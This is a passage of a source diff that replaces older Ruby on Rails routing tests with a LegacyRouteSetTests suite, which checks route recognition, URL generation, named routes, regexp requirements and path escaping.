-      Object.send(:remove_const, :Api)
-    end
-
-    def test_namespaced_root_map
-      Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
-
-      set.draw do |map|
-
-        map.namespace 'api' do |api|
-          api.root :controller => "products"
-        end
-
-      end
-
-      request.path = "/api"
-      request.method = :get
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("api/products", request.path_parameters[:controller])
-      assert_equal("index", request.path_parameters[:action])
-    ensure
-      Object.send(:remove_const, :Api)
-    end
-
-    def test_namespace_with_path_prefix
-      Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
-
-      set.draw do |map|
-
-        map.namespace 'api', :path_prefix => 'prefix' do |api|
-          api.route 'inventory', :controller => "products", :action => 'inventory'
-        end
-
-      end
-
-      request.path = "/prefix/inventory"
-      request.method = :get
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("api/products", request.path_parameters[:controller])
-      assert_equal("inventory", request.path_parameters[:action])
-    ensure
-      Object.send(:remove_const, :Api)
-    end
-
-    def test_generate_finds_best_fit
-      set.draw do |map|
-        map.connect "/people", :controller => "people", :action => "index"
-        map.connect "/ws/people", :controller => "people", :action => "index", :ws => true
-      end
-
-      url = set.generate(:controller => "people", :action => "index", :ws => true)
-      assert_equal "/ws/people", url
-    end
-
-    def test_generate_changes_controller_module
-      set.draw { |map| map.connect ':controller/:action/:id' }
-      current = { :controller => "bling/bloop", :action => "bap", :id => 9 }
-      url = set.generate({:controller => "foo/bar", :action => "baz", :id => 7}, current)
-      assert_equal "/foo/bar/baz/7", url
-    end
-
-    def test_id_is_not_impossibly_sticky
-      set.draw do |map|
-        map.connect 'foo/:number', :controller => "people", :action => "index"
-        map.connect ':controller/:action/:id'
-      end
-
-      url = set.generate({:controller => "people", :action => "index", :number => 3},
-        {:controller => "people", :action => "index", :id => "21"})
-      assert_equal "/foo/3", url
-    end
-
-    def test_id_is_sticky_when_it_ought_to_be
-      set.draw do |map|
-        map.connect ':controller/:id/:action'
-      end
-
-      url = set.generate({:action => "destroy"}, {:controller => "people", :action => "show", :id => "7"})
-      assert_equal "/people/7/destroy", url
-    end
-
-    def test_use_static_path_when_possible
-      set.draw do |map|
-        map.connect 'about', :controller => "welcome", :action => "about"
-        map.connect ':controller/:action/:id'
-      end
-
-      url = set.generate({:controller => "welcome", :action => "about"},
-        {:controller => "welcome", :action => "get", :id => "7"})
-      assert_equal "/about", url
-    end
-
-    def test_generate
-      set.draw { |map| map.connect ':controller/:action/:id' }
-
-      args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
-      assert_equal "/foo/bar/7?x=y", set.generate(args)
-      assert_equal ["/foo/bar/7", [:x]], set.generate_extras(args)
-      assert_equal [:x], set.extra_keys(args)
-    end
-
-    def test_generate_with_path_prefix
-      set.draw { |map| map.connect ':controller/:action/:id', :path_prefix => 'my' }
-
-      args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
-      assert_equal "/my/foo/bar/7?x=y", set.generate(args)
-    end
-
-    def test_named_routes_are_never_relative_to_modules
-      set.draw do |map|
-        map.connect "/connection/manage/:action", :controller => 'connection/manage'
-        map.connect "/connection/connection", :controller => "connection/connection"
-        map.family_connection "/connection", :controller => "connection"
-      end
-
-      url = set.generate({:controller => "connection"}, {:controller => 'connection/manage'})
-      assert_equal "/connection/connection", url
-
-      url = set.generate({:use_route => :family_connection, :controller => "connection"}, {:controller => 'connection/manage'})
-      assert_equal "/connection", url
-    end
-
-    def test_action_left_off_when_id_is_recalled
-      set.draw do |map|
-        map.connect ':controller/:action/:id'
-      end
-      assert_equal '/post', set.generate(
-        {:controller => 'post', :action => 'index'},
-        {:controller => 'post', :action => 'show', :id => '10'}
-      )
-    end
-
-    def test_query_params_will_be_shown_when_recalled
-      set.draw do |map|
-        map.connect 'show_post/:parameter', :controller => 'post', :action => 'show'
-        map.connect ':controller/:action/:id'
-      end
-      assert_equal '/post/edit?parameter=1', set.generate(
-        {:action => 'edit', :parameter => 1},
-        {:controller => 'post', :action => 'show', :parameter => 1}
-      )
-    end
-
-    def test_expiry_determination_should_consider_values_with_to_param
-      set.draw { |map| map.connect 'projects/:project_id/:controller/:action' }
-      assert_equal '/projects/1/post/show', set.generate(
-        {:action => 'show', :project_id => 1},
-        {:controller => 'post', :action => 'show', :project_id => '1'})
-    end
-
-    def test_generate_all
-      set.draw do |map|
-        map.connect 'show_post/:id', :controller => 'post', :action => 'show'
-        map.connect ':controller/:action/:id'
-      end
-      all = set.generate(
-        {:action => 'show', :id => 10, :generate_all => true},
-        {:controller => 'post', :action => 'show'}
-      )
-      assert_equal 2, all.length
-      assert_equal '/show_post/10', all.first
-      assert_equal '/post/show/10', all.last
-    end
-
-    def test_named_route_in_nested_resource
-      set.draw do |map|
-        map.resources :projects do |project|
-          project.milestones 'milestones', :controller => 'milestones', :action => 'index'
-        end
-      end
-
-      request.path = "/projects/1/milestones"
-      request.method = :get
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("milestones", request.path_parameters[:controller])
-      assert_equal("index", request.path_parameters[:action])
-    end
-
-    def test_setting_root_in_namespace_using_symbol
-      assert_nothing_raised do
-        set.draw do |map|
-          map.namespace :admin do |admin|
-            admin.root :controller => 'home'
-          end
-        end
-      end
-    end
-
-    def test_setting_root_in_namespace_using_string
-      assert_nothing_raised do
-        set.draw do |map|
-          map.namespace 'admin' do |admin|
-            admin.root :controller => 'home'
-          end
-        end
-      end
-    end
-
-    def test_route_requirements_with_unsupported_regexp_options_must_error
-      assert_raises ArgumentError do
-        set.draw do |map|
-          map.connect 'page/:name', :controller => 'pages',
-            :action => 'show',
-            :requirements => {:name => /(david|jamis)/m}
-        end
-      end
-    end
-
-    def test_route_requirements_with_supported_options_must_not_error
-      assert_nothing_raised do
-        set.draw do |map|
-          map.connect 'page/:name', :controller => 'pages',
-            :action => 'show',
-            :requirements => {:name => /(david|jamis)/i}
-        end
-      end
-      assert_nothing_raised do
-        set.draw do |map|
-          map.connect 'page/:name', :controller => 'pages',
-            :action => 'show',
-            :requirements => {:name => / # Desperately overcommented regexp
-                                        ( #Either
-                                         david #The Creator
-                                        | #Or
-                                          jamis #The Deployer
-                                        )/x}
-        end
-      end
-    end
-
-    def test_route_requirement_recognize_with_ignore_case
-      set.draw do |map|
-        map.connect 'page/:name', :controller => 'pages',
-          :action => 'show',
-          :requirements => {:name => /(david|jamis)/i}
-      end
-      assert_equal({:controller => 'pages', :action => 'show', :name => 'jamis'}, set.recognize_path('/page/jamis'))
-      assert_raises ActionController::RoutingError do
-        set.recognize_path('/page/davidjamis')
-      end
-      assert_equal({:controller => 'pages', :action => 'show', :name => 'DAVID'}, set.recognize_path('/page/DAVID'))
-    end
-
-    def test_route_requirement_generate_with_ignore_case
-      set.draw do |map|
-        map.connect 'page/:name', :controller => 'pages',
-          :action => 'show',
-          :requirements => {:name => /(david|jamis)/i}
-      end
-      url = set.generate({:controller => 'pages', :action => 'show', :name => 'david'})
-      assert_equal "/page/david", url
-      assert_raises ActionController::RoutingError do
-        url = set.generate({:controller => 'pages', :action => 'show', :name => 'davidjamis'})
-      end
-      url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
-      assert_equal "/page/JAMIS", url
-    end
-
-    def test_route_requirement_recognize_with_extended_syntax
-      set.draw do |map|
-        map.connect 'page/:name', :controller => 'pages',
-          :action => 'show',
-          :requirements => {:name => / # Desperately overcommented regexp
-                                      ( #Either
-                                       david #The Creator
-                                      | #Or
-                                        jamis #The Deployer
-                                      )/x}
-      end
-      assert_equal({:controller => 'pages', :action => 'show', :name => 'jamis'}, set.recognize_path('/page/jamis'))
-      assert_equal({:controller => 'pages', :action => 'show', :name => 'david'}, set.recognize_path('/page/david'))
-      assert_raises ActionController::RoutingError do
-        set.recognize_path('/page/david #The Creator')
-      end
-      assert_raises ActionController::RoutingError do
-        set.recognize_path('/page/David')
-      end
-    end
-
-    def test_route_requirement_generate_with_extended_syntax
-      set.draw do |map|
-        map.connect 'page/:name', :controller => 'pages',
-          :action => 'show',
-          :requirements => {:name => / # Desperately overcommented regexp
-                                      ( #Either
-                                       david #The Creator
-                                      | #Or
-                                        jamis #The Deployer
-                                      )/x}
-      end
-      url = set.generate({:controller => 'pages', :action => 'show', :name => 'david'})
-      assert_equal "/page/david", url
-      assert_raises ActionController::RoutingError do
-        url = set.generate({:controller => 'pages', :action => 'show', :name => 'davidjamis'})
-      end
-      assert_raises ActionController::RoutingError do
-        url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
-      end
-    end
-
-    def test_route_requirement_generate_with_xi_modifiers
-      set.draw do |map|
-        map.connect 'page/:name', :controller => 'pages',
-          :action => 'show',
-          :requirements => {:name => / # Desperately overcommented regexp
-                                      ( #Either
-                                       david #The Creator
-                                      | #Or
-                                        jamis #The Deployer
-                                      )/xi}
-      end
-      url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
-      assert_equal "/page/JAMIS", url
-    end
-
-    def test_route_requirement_recognize_with_xi_modifiers
-      set.draw do |map|
-        map.connect 'page/:name', :controller => 'pages',
-          :action => 'show',
-          :requirements => {:name => / # Desperately overcommented regexp
-                                      ( #Either
-                                       david #The Creator
-                                      | #Or
-                                        jamis #The Deployer
-                                      )/xi}
-      end
-      assert_equal({:controller => 'pages', :action => 'show', :name => 'JAMIS'}, set.recognize_path('/page/JAMIS'))
-    end
-  end
-
-  class RouteLoadingTest < Test::Unit::TestCase
-    def setup
-      routes.instance_variable_set '@routes_last_modified', nil
-      silence_warnings { Object.const_set :RAILS_ROOT, '.' }
-      ActionController::Routing::Routes.configuration_file = File.join(RAILS_ROOT, 'config', 'routes.rb')
-
-      @stat = stub_everything
-    end
-
-    def teardown
-      ActionController::Routing::Routes.configuration_file = nil
-      Object.send :remove_const, :RAILS_ROOT
-    end
-
-    def test_load
-      File.expects(:stat).returns(@stat)
-      routes.expects(:load).with(regexp_matches(/routes\.rb$/))
-
-      routes.reload
-    end
-
-    def test_no_reload_when_not_modified
-      @stat.expects(:mtime).times(2).returns(1)
-      File.expects(:stat).times(2).returns(@stat)
-      routes.expects(:load).with(regexp_matches(/routes\.rb$/)).at_most_once
-
-      2.times { routes.reload }
-    end
-
-    def test_reload_when_modified
-      @stat.expects(:mtime).at_least(2).returns(1, 2)
-      File.expects(:stat).at_least(2).returns(@stat)
-      routes.expects(:load).with(regexp_matches(/routes\.rb$/)).times(2)
-
-      2.times { routes.reload }
-    end
-
-    def test_bang_forces_reload
-      @stat.expects(:mtime).at_least(2).returns(1)
-      File.expects(:stat).at_least(2).returns(@stat)
-      routes.expects(:load).with(regexp_matches(/routes\.rb$/)).times(2)
-
-      2.times { routes.reload! }
-    end
-
-    def test_adding_inflections_forces_reload
-      ActiveSupport::Inflector::Inflections.instance.expects(:uncountable).with('equipment')
-      routes.expects(:reload!)
-
-      ActiveSupport::Inflector.inflections { |inflect| inflect.uncountable('equipment') }
-    end
-
-    def test_load_with_configuration
-      routes.configuration_file = "foobarbaz"
-      File.expects(:stat).returns(@stat)
-      routes.expects(:load).with("foobarbaz")
-
-      routes.reload
-    end
-
-    private
-      def routes
-        ActionController::Routing::Routes
-      end
+  def request
+    @request ||= ActionController::TestRequest.new
   end
 end
+
+class LegacyRouteSetTests < ActiveSupport::TestCase
+  attr_reader :rs
+
+  def setup
+    # These tests assume optimisation is on, so re-enable it.
+    ActionController::Base.optimise_named_routes = true
+
+    @rs = ::ActionController::Routing::RouteSet.new
+
+    ActionController::Routing.use_controllers! %w(content admin/user admin/news_feed)
+  end
+
+  def teardown
+    @rs.clear!
+  end
+
+  def test_routes_for_controller_and_action_deprecated
+    assert_deprecated { @rs.routes_for_controller_and_action("controller", "action") }
+  end
+
+  def test_default_setup
+    @rs.draw {|m| m.connect ':controller/:action/:id' }
+    assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/content"))
+    assert_equal({:controller => "content", :action => 'list'}, rs.recognize_path("/content/list"))
+    assert_equal({:controller => "content", :action => 'show', :id => '10'}, rs.recognize_path("/content/show/10"))
+
+    assert_equal({:controller => "admin/user", :action => 'show', :id => '10'}, rs.recognize_path("/admin/user/show/10"))
+
+    assert_equal '/admin/user/show/10', rs.generate(:controller => 'admin/user', :action => 'show', :id => 10)
+
+    assert_equal '/admin/user/show', rs.generate({:action => 'show'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
+    assert_equal '/admin/user/list/10', rs.generate({}, {:controller => 'admin/user', :action => 'list', :id => '10'})
+
+    assert_equal '/admin/stuff', rs.generate({:controller => 'stuff'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
+    assert_equal '/stuff', rs.generate({:controller => '/stuff'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
+  end
+
+  def test_ignores_leading_slash
+    @rs.clear!
+    @rs.draw {|m| m.connect '/:controller/:action/:id'}
+    test_default_setup
+  end
+
+  def test_time_recognition
+    # We create many routes to make situation more realistic
+    @rs = ::ActionController::Routing::RouteSet.new
+    @rs.draw { |map|
+      map.frontpage '', :controller => 'search', :action => 'new'
+      map.resources :videos do |video|
+        video.resources :comments
+        video.resource  :file,      :controller => 'video_file'
+        video.resource  :share,     :controller => 'video_shares'
+        video.resource  :abuse,     :controller => 'video_abuses'
+      end
+      map.resources :abuses, :controller => 'video_abuses'
+      map.resources :video_uploads
+      map.resources :video_visits
+
+      map.resources :users do |user|
+        user.resource  :settings
+        user.resources :videos
+      end
+      map.resources :channels do |channel|
+        channel.resources :videos, :controller => 'channel_videos'
+      end
+      map.resource  :session
+      map.resource  :lost_password
+      map.search    'search', :controller => 'search'
+      map.resources :pages
+      map.connect ':controller/:action/:id'
+    }
+    n = 1000
+    if RunTimeTests
+      GC.start
+      rectime = Benchmark.realtime do
+        n.times do
+          rs.recognize_path("/videos/1234567", {:method => :get})
+          rs.recognize_path("/videos/1234567/abuse", {:method => :get})
+          rs.recognize_path("/users/1234567/settings", {:method => :get})
+          rs.recognize_path("/channels/1234567", {:method => :get})
+          rs.recognize_path("/session/new", {:method => :get})
+          rs.recognize_path("/admin/user/show/10", {:method => :get})
+        end
+      end
+      puts "\n\nRecognition (#{rs.routes.size} routes):"
+      per_url = rectime / (n * 6)
+      puts "#{per_url * 1000} ms/url"
+      puts "#{1 / per_url} url/s\n\n"
+    end
+  end
+
+  def test_time_generation
+    n = 5000
+    if RunTimeTests
+      GC.start
+      pairs = [
+        [{:controller => 'content', :action => 'index'}, {:controller => 'content', :action => 'show'}],
+        [{:controller => 'content'}, {:controller => 'content', :action => 'index'}],
+        [{:controller => 'content', :action => 'list'}, {:controller => 'content', :action => 'index'}],
+        [{:controller => 'content', :action => 'show', :id => '10'}, {:controller => 'content', :action => 'list'}],
+        [{:controller => 'admin/user', :action => 'index'}, {:controller => 'admin/user', :action => 'show'}],
+        [{:controller => 'admin/user'}, {:controller => 'admin/user', :action => 'index'}],
+        [{:controller => 'admin/user', :action => 'list'}, {:controller => 'admin/user', :action => 'index'}],
+        [{:controller => 'admin/user', :action => 'show', :id => '10'}, {:controller => 'admin/user', :action => 'list'}],
+      ]
+      p = nil
+      gentime = Benchmark.realtime do
+        n.times do
+        pairs.each {|(a, b)| rs.generate(a, b)}
+        end
+      end
+
+      puts "\n\nGeneration (RouteSet): (#{(n * 8)} urls)"
+      per_url = gentime / (n * 8)
+      puts "#{per_url * 1000} ms/url"
+      puts "#{1 / per_url} url/s\n\n"
+    end
+  end
+
+  def test_route_with_colon_first
+    rs.draw do |map|
+      map.connect '/:controller/:action/:id', :action => 'index', :id => nil
+      map.connect ':url', :controller => 'tiny_url', :action => 'translate'
+    end
+  end
+
+  def test_route_with_regexp_for_controller
+    rs.draw do |map|
+      map.connect ':controller/:admintoken/:action/:id', :controller => /admin\/.+/
+      map.connect ':controller/:action/:id'
+    end
+    assert_equal({:controller => "admin/user", :admintoken => "foo", :action => "index"},
+        rs.recognize_path("/admin/user/foo"))
+    assert_equal({:controller => "content", :action => "foo"}, rs.recognize_path("/content/foo"))
+    assert_equal '/admin/user/foo', rs.generate(:controller => "admin/user", :admintoken => "foo", :action => "index")
+    assert_equal '/content/foo', rs.generate(:controller => "content", :action => "foo")
+  end
+
+  def test_route_with_regexp_and_captures_for_controller
+    rs.draw do |map|
+      map.connect ':controller/:action/:id', :controller => /admin\/(accounts|users)/
+    end
+    assert_equal({:controller => "admin/accounts", :action => "index"}, rs.recognize_path("/admin/accounts"))
+    assert_equal({:controller => "admin/users", :action => "index"}, rs.recognize_path("/admin/users"))
+    assert_raise(ActionController::RoutingError) { rs.recognize_path("/admin/products") }
+  end
+
+  def test_route_with_regexp_and_dot
+    rs.draw do |map|
+      map.connect ':controller/:action/:file',
+                        :controller => /admin|user/,
+                        :action => /upload|download/,
+                        :defaults => {:file => nil},
+                        :requirements => {:file => %r{[^/]+(\.[^/]+)?}}
+    end
+    # Without a file extension
+    assert_equal '/user/download/file',
+      rs.generate(:controller => "user", :action => "download", :file => "file")
+    assert_equal(
+      {:controller => "user", :action => "download", :file => "file"},
+      rs.recognize_path("/user/download/file"))
+
+    # Now, let's try a file with an extension, really a dot (.)
+    assert_equal '/user/download/file.jpg',
+      rs.generate(
+        :controller => "user", :action => "download", :file => "file.jpg")
+    assert_equal(
+      {:controller => "user", :action => "download", :file => "file.jpg"},
+      rs.recognize_path("/user/download/file.jpg"))
+  end
+
+  def test_basic_named_route
+    rs.add_named_route :home, '', :controller => 'content', :action => 'list'
+    x = setup_for_named_route
+    assert_equal("http://test.host/",
+                 x.send(:home_url))
+  end
+
+  def test_basic_named_route_with_relative_url_root
+    rs.add_named_route :home, '', :controller => 'content', :action => 'list'
+    x = setup_for_named_route
+    ActionController::Base.relative_url_root = "/foo"
+    assert_equal("http://test.host/foo/",
+                 x.send(:home_url))
+    assert_equal "/foo/", x.send(:home_path)
+    ActionController::Base.relative_url_root = nil
+  end
+
+  def test_named_route_with_option
+    rs.add_named_route :page, 'page/:title', :controller => 'content', :action => 'show_page'
+    x = setup_for_named_route
+    assert_equal("http://test.host/page/new%20stuff",
+                 x.send(:page_url, :title => 'new stuff'))
+  end
+
+  def test_named_route_with_default
+    rs.add_named_route :page, 'page/:title', :controller => 'content', :action => 'show_page', :title => 'AboutPage'
+    x = setup_for_named_route
+    assert_equal("http://test.host/page/AboutRails",
+                 x.send(:page_url, :title => "AboutRails"))
+
+  end
+
+  def test_named_route_with_name_prefix
+    rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :name_prefix => 'my_'
+    x = setup_for_named_route
+    assert_equal("http://test.host/page",
+                 x.send(:my_page_url))
+  end
+
+  def test_named_route_with_path_prefix
+    rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :path_prefix => 'my'
+    x = setup_for_named_route
+    assert_equal("http://test.host/my/page",
+                 x.send(:page_url))
+  end
+
+  def test_named_route_with_blank_path_prefix
+    rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :path_prefix => ''
+    x = setup_for_named_route
+    assert_equal("http://test.host/page",
+                 x.send(:page_url))
+  end
+
+  def test_named_route_with_nested_controller
+    rs.add_named_route :users, 'admin/user', :controller => 'admin/user', :action => 'index'
+    x = setup_for_named_route
+    assert_equal("http://test.host/admin/user",
+                 x.send(:users_url))
+  end
+
+  def test_optimised_named_route_call_never_uses_url_for
+    rs.add_named_route :users, 'admin/user', :controller => '/admin/user', :action => 'index'
+    rs.add_named_route :user, 'admin/user/:id', :controller=>'/admin/user', :action=>'show'
+    x = setup_for_named_route
+    x.expects(:url_for).never
+    x.send(:users_url)
+    x.send(:users_path)
+    x.send(:user_url, 2, :foo=>"bar")
+    x.send(:user_path, 3, :bar=>"foo")
+  end
+
+  def test_optimised_named_route_with_host
+    rs.add_named_route :pages, 'pages', :controller => 'content', :action => 'show_page', :host => 'foo.com'
+    x = setup_for_named_route
+    x.expects(:url_for).with(:host => 'foo.com', :only_path => false, :controller => 'content', :action => 'show_page', :use_route => :pages).once
+    x.send(:pages_url)
+  end
+
+  def setup_for_named_route
+    klass = Class.new(MockController)
+    rs.install_helpers(klass)
+    klass.new(rs)
+  end
+
+  def test_named_route_without_hash
+    rs.draw do |map|
+      map.normal ':controller/:action/:id'
+    end
+  end
+
+  def test_named_route_root
+    rs.draw do |map|
+      map.root :controller => "hello"
+    end
+    x = setup_for_named_route
+    assert_equal("http://test.host/", x.send(:root_url))
+    assert_equal("/", x.send(:root_path))
+  end
+
+  def test_named_route_with_regexps
+    rs.draw do |map|
+      map.article 'page/:year/:month/:day/:title', :controller => 'page', :action => 'show',
+        :year => /\d+/, :month => /\d+/, :day => /\d+/
+      map.connect ':controller/:action/:id'
+    end
+    x = setup_for_named_route
+    # assert_equal(
+    #   {:controller => 'page', :action => 'show', :title => 'hi', :use_route => :article, :only_path => false},
+    #   x.send(:article_url, :title => 'hi')
+    # )
+    assert_equal(
+      "http://test.host/page/2005/6/10/hi",
+      x.send(:article_url, :title => 'hi', :day => 10, :year => 2005, :month => 6)
+    )
+  end
+
+  def test_changing_controller
+    @rs.draw {|m| m.connect ':controller/:action/:id' }
+
+    assert_equal '/admin/stuff/show/10', rs.generate(
+      {:controller => 'stuff', :action => 'show', :id => 10},
+      {:controller => 'admin/user', :action => 'index'}
+    )
+  end
+
+  def test_paths_escaped
+    rs.draw do |map|
+      map.path 'file/*path', :controller => 'content', :action => 'show_file'
+      map.connect ':controller/:action/:id'
+    end
+
+    # No + to space in URI escaping, only for query params.
+    results = rs.recognize_path "/file/hello+world/how+are+you%3F"
+    assert results, "Recognition should have succeeded"
+    assert_equal ['hello+world', 'how+are+you?'], results[:path]
+
+    # Use %20 for space instead.
+    results = rs.recognize_path "/file/hello%20world/how%20are%20you%3F"
+    assert results, "Recognition should have succeeded"
+    assert_equal ['hello world', 'how are you?'], results[:path]
+
+    results = rs.recognize_path "/file"
+    assert results, "Recognition should have succeeded"
+    assert_equal [], results[:path]
+  end
+
+  def test_paths_slashes_unescaped_with_ordered_parameters
+    rs.add_named_route :path, '/file/*path', :controller => 'content'
+
+    # No / to %2F in URI, only for query params.
+    x = setup_for_named_route
+    assert_equal("/file/hello/world", x.send(:path_path, 'hello/world'))
+  end
+
+  def test_non_controllers_cannot_be_matched
+    rs.draw do |map|
+      map.connect ':controller/:action/:id'
+    end
+    assert_raise(ActionController::RoutingError) { rs.recognize_path("/not_a/show/10") }
+  end
+
+  def test_paths_do_not_accept_defaults
+    assert_raise(ActionController::RoutingError) do
+      rs.draw do |map|
+        map.path 'file/*path', :controller => 'content', :action => 'show_file', :path => %w(fake default)
+        map.connect ':controller/:action/:id'
+      end
+    end
+
+    rs.draw do |map|
+      map.path 'file/*path', :controller => 'content', :action => 'show_file', :path => []
+      map.connect ':controller/:action/:id'
+    end
+  end
+
+  def test_should_list_options_diff_when_routing_requirements_dont_match
+    rs.draw do |map|
+      map.post 'post/:id', :controller=> 'post', :action=> 'show', :requirements => {:id => /\d+/}
+    end
+    exception = assert_raise(ActionController::RoutingError) { rs.generate(:controller => 'post', :action => 'show', :bad_param => "foo", :use_route => "post") }
+    assert_match(/^post_url failed to generate/, exception.message)
+    from_match = exception.message.match(/from \{[^\}]+\}/).to_s
+    assert_match(/:bad_param=>"foo"/,   from_match)
+    assert_match(/:action=>"show"/,     from_match)
+    assert_match(/:controller=>"post"/, from_match)
+
+    expected_match = exception.message.match(/expected: \{[^\}]+\}/).to_s
+    assert_no_match(/:bad_param=>"foo"/,   expected_match)
+    assert_match(   /:action=>"show"/,     expected_match)
+    assert_match(   /:controller=>"post"/, expected_match)
+
+    diff_match = exception.message.match(/diff: \{[^\}]+\}/).to_s
+    assert_match(   /:bad_param=>"foo"/,   diff_match)
+    assert_no_match(/:action=>"show"/,     diff_match)
+    assert_no_match(/:controller=>"post"/, diff_match)
+  end
+
+  # this specifies the case where your formerly would get a very confusing error message with an empty diff
+  def test_should_have_better_error_message_when_options_diff_is_empty
+    rs.draw do |map|
+      map.content '/content/:query', :controller => 'content', :action => 'show'
+    end
+
+    exception = assert_raise(ActionController::RoutingError) { rs.generate(:controller => 'content', :action => 'show', :use_route => "content") }
+    assert_match %r[:action=>"show"], exception.message
+    assert_match %r[:controller=>"content"], exception.message
+    assert_match %r[you may have ambiguous routes, or you may need to supply additional parameters for this route], exception.message
+    assert_match %r[content_url has the following required parameters: \["content", :query\] - are they all satisfied?], exception.message
+  end
+
+  def test_dynamic_path_allowed
+    rs.draw do |map|
+      map.connect '*path', :controller => 'content', :action => 'show_file'
+    end
+
+    assert_equal '/pages/boo', rs.generate(:controller => 'content', :action => 'show_file', :path => %w(pages boo))
+  end
+
+  def test_dynamic_recall_paths_allowed
+    rs.draw do |map|
+      map.connect '*path', :controller => 'content', :action => 'show_file'
+    end
+
+    recall_path = ActionController::Routing::PathSegment::Result.new(%w(pages boo))
+    assert_equal '/pages/boo', rs.generate({}, :controller => 'content', :action => 'show_file', :path => recall_path)
+  end
+
+  def test_backwards
+    rs.draw do |map|
+      map.connect 'page/:id/:action', :controller => 'pages', :action => 'show'
+      map.connect ':controller/:action/:id'
+    end
+
+    assert_equal '/page/20', rs.generate({:id => 20}, {:controller => 'pages', :action => 'show'})
+    assert_equal '/page/20', rs.generate(:controller => 'pages', :id => 20, :action => 'show')
+    assert_equal '/pages/boo', rs.generate(:controller => 'pages', :action => 'boo')
+  end
+
+  def test_route_with_fixnum_default
+    rs.draw do |map|
+      map.connect 'page/:id', :controller => 'content', :action => 'show_page', :id => 1
+      map.connect ':controller/:action/:id'
+    end
+
+    assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page')
+    assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page', :id => 1)
+    assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page', :id => '1')
+    assert_equal '/page/10', rs.generate(:controller => 'content', :action => 'show_page', :id => 10)
+
+    assert_equal({:controller => "content", :action => 'show_page', :id => '1'}, rs.recognize_path("/page"))
+    assert_equal({:controller => "content", :action => 'show_page', :id => '1'}, rs.recognize_path("/page/1"))
+    assert_equal({:controller => "content", :action => 'show_page', :id => '10'}, rs.recognize_path("/page/10"))
+  end
+
+  # For newer revision
+  def test_route_with_text_default
+    rs.draw do |map|
+      map.connect 'page/:id', :controller => 'content', :action => 'show_page', :id => 1
+      map.connect ':controller/:action/:id'
+    end
+
+    assert_equal '/page/foo', rs.generate(:controller => 'content', :action => 'show_page', :id => 'foo')
+    assert_equal({:controller => "content", :action => 'show_page', :id => 'foo'}, rs.recognize_path("/page/foo"))
+
+    token = "\321\202\320\265\320\272\321\201\321\202" # 'text' in russian
+    token.force_encoding("UTF-8") if token.respond_to?(:force_encoding)
+    escaped_token = CGI::escape(token)
+
+    assert_equal '/page/' + escaped_token, rs.generate(:controller => 'content', :action => 'show_page', :id => token)
+    assert_equal({:controller => "content", :action => 'show_page', :id => token}, rs.recognize_path("/page/#{escaped_token}"))
+  end
+
+  def test_action_expiry
+    @rs.draw {|m| m.connect ':controller/:action/:id' }
+    assert_equal '/content', rs.generate({:controller => 'content'}, {:controller => 'content', :action => 'show'})
+  end
+
+  def test_recognition_with_uppercase_controller_name
+    @rs.draw {|m| m.connect ':controller/:action/:id' }
+    assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/Content"))
+    assert_equal({:controller => "content", :action => 'list'}, rs.recognize_path("/ConTent/list"))
+    assert_equal({:controller => "content", :action => 'show', :id => '10'}, rs.recognize_path("/CONTENT/show/10"))
+
+    # these used to work, before the routes rewrite, but support for this was pulled in the new version...
+    #assert_equal({'controller' => "admin/news_feed", 'action' => 'index'}, rs.recognize_path("Admin/NewsFeed"))
+    #assert_equal({'controller' => "admin/news_feed", 'action' => 'index'}, rs.recognize_path("Admin/News_Feed"))
+  end
+
+  def test_requirement_should_prevent_optional_id
+    rs.draw do |map|
+      map.post 'post/:id', :controller=> 'post', :action=> 'show', :requirements => {:id => /\d+/}
+    end
+
+    assert_equal '/post/10', rs.generate(:controller => 'post', :action => 'show', :id => 10)
+
+    assert_raise ActionController::RoutingError do
+      rs.generate(:controller => 'post', :action => 'show')
+    end
+  end
+
+  def test_both_requirement_and_optional
+    rs.draw do |map|
+      map.blog('test/:year', :controller => 'post', :action => 'show',
+        :defaults => { :year => nil },
+        :requirements => { :year => /\d{4}/ }
+      )
+      map.connect ':controller/:action/:id'
+    end
+
+    assert_equal '/test', rs.generate(:controller => 'post', :action => 'show')
+    assert_equal '/test', rs.generate(:controller => 'post', :action => 'show', :year => nil)
+
+    x = setup_for_named_route
+    assert_equal("http://test.host/test",
+                 x.send(:blog_url))
+  end
+
+  def test_set_to_nil_forgets
+    rs.draw do |map|
+      map.connect 'pages/:year/:month/:day', :controller => 'content', :action => 'list_pages', :month => nil, :day => nil
+      map.connect ':controller/:action/:id'
+    end
+
+    assert_equal '/pages/2005',
+      rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005)
+    assert_equal '/pages/2005/6',
+      rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005, :month => 6)
+    assert_equal '/pages/2005/6/12',
+      rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005, :month => 6, :day => 12)
+
+    assert_equal '/pages/2005/6/4',
+      rs.generate({:day => 4}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
+
+    assert_equal '/pages/2005/6',
+      rs.generate({:day => nil}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
+
+    assert_equal '/pages/2005',
+      rs.generate({:day => nil, :month => nil}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
+  end
+
+  def test_url_with_no_action_specified
+    rs.draw do |map|
+      map.connect '', :controller => 'content'
+      map.connect ':controller/:action/:id'
+    end
+
